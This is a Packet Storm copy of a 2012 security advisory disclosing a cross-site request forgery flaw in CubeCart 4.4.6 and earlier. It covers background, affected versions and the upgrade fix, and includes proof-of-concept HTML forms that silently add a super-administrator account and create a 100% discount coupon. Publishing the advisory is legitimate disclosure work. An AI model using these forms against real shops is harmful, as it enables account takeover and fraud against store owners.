exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

CubeCart 4.4.6 Cross Site Request Forgery

CubeCart 4.4.6 Cross Site Request Forgery
Posted Dec 24, 2012
Authored by Aung Khant | Site yehg.net

CubeCart versions 4.4.6 and below suffer from a cross site request forgery vulnerability.

tags | exploit, csrf
SHA-256 | 9786b4b6388152d345c9bc99106204e26c2db4b2c8ca67174d1c41d337766b31

CubeCart 4.4.6 Cross Site Request Forgery

Change Mirror Download
1. OVERVIEW

CubeCart 4.4.6 and lower versions are vulnerable to Cross Site Request
Forgery (CSRF).


2. BACKGROUND

CubeCart is an "out of the box" ecommerce shopping cart software
solution which has been written to run on servers that have PHP &
MySQL support. With CubeCart you can quickly setup a powerful online
store which can be used to sell digital or tangible products to new
and existing customers all over the world.


3. VULNERABILITY DESCRIPTION

CubeCart 4.4.6 and and lower versions contain a flaw that allows a
remote Cross-site Request Forgery (CSRF / XSRF) attack. The flaw
exists because the application does not require multiple steps or
explicit confirmation for sensitive transactions for majority of
administrator functions such as adding new user, assigning user to
administrative privilege. By using a crafted URL, an attacker may
trick the victim into visiting to his web page to take advantage of
the trust relationship between the authenticated victim and the
application. Such an attack could trick the victim into executing
arbitrary commands in the context of their session with the
application, without further prompting or verification.


4. VERSIONS AFFECTED

4.4.6 and lower


5. Proof-of-Concept

////////////////////////////////////////////////////////////////////////////////////
Add Admin User
==================
<form action="https://localhost/admin.php?_g=adminusers/administrators"
method="POST" enctype="multipart/form-data">
<input type="hidden" name="name" value="hacker" />
<input type="hidden" name="adminUsername" value="hacker" />
<input type="hidden" name="email" value="hacker@yehg.net" />
<input type="hidden" name="adminPassword" value="h@ck3er" />
<input type="hidden" name="adminPassword_verify"
value="h@ck3er" />
<input type="hidden" name="isSuper" value="-" />
<input type="hidden" name="notes" value=" " />
<input type="hidden" name="adminId" value=" " />
<input type="hidden" name="Submit" value="Add User" />
<input type="submit" value="Submit form" />
</form>

Add Coupon
==============
<form action="https://localhost/admin.php?_g=products/coupons" method="POST">
<input type="hidden" name="code" value="HACKER" />
<input type="hidden" name="discount_percent" value="100" />
<input type="hidden" name="discount_price" value="" />
<input type="hidden" name="expires" value="3000/12/30" />
<input type="hidden" name="allowed_uses" value="0" />
<input type="hidden" name="count" value="0" />
<input type="hidden" name="desc" value="0" />
<input type="hidden" name="id" value="" />
<input type="hidden" name="Submit" value="Edit Coupon" />
<input type="submit" value="Submit form" />
</form>
////////////////////////////////////////////////////////////////////////


6. SOLUTION

The CubeCart 4.x version family is no longer maintained by the vendor.
Upgrade to the currently supported latest CubeCart version - 5.x.


7. VENDOR

CubeCart Development Team
https://cubecart.com/


8. CREDIT

Aung Khant, https://yehg.net, YGN Ethical Hacker Group, Myanmar.


9. DISCLOSURE TIME-LINE

2012-12-22: CubeCart 4.x in End-of-Support/Maintenance circle
2012-12-24: Vulnerability disclosed


10. REFERENCES

Original Advisory URL:
https://yehg.net/lab/pr0js/advisories/%5Bcubecart_4.4.6%5D_csrf
CubeCart Home Page: https://cubecart.com/
CubeCart Bug-Fix Announcement:
https://forums.cubecart.com/topic/45456-cubecart-447-released/

#yehg [2012-12-24]

---------------------------------
Best regards,
YGN Ethical Hacker Group
Yangon, Myanmar
https://yehg.net
Our Lab | https://yehg.net/lab
Our Directory | https://yehg.net/hwd
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    17 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close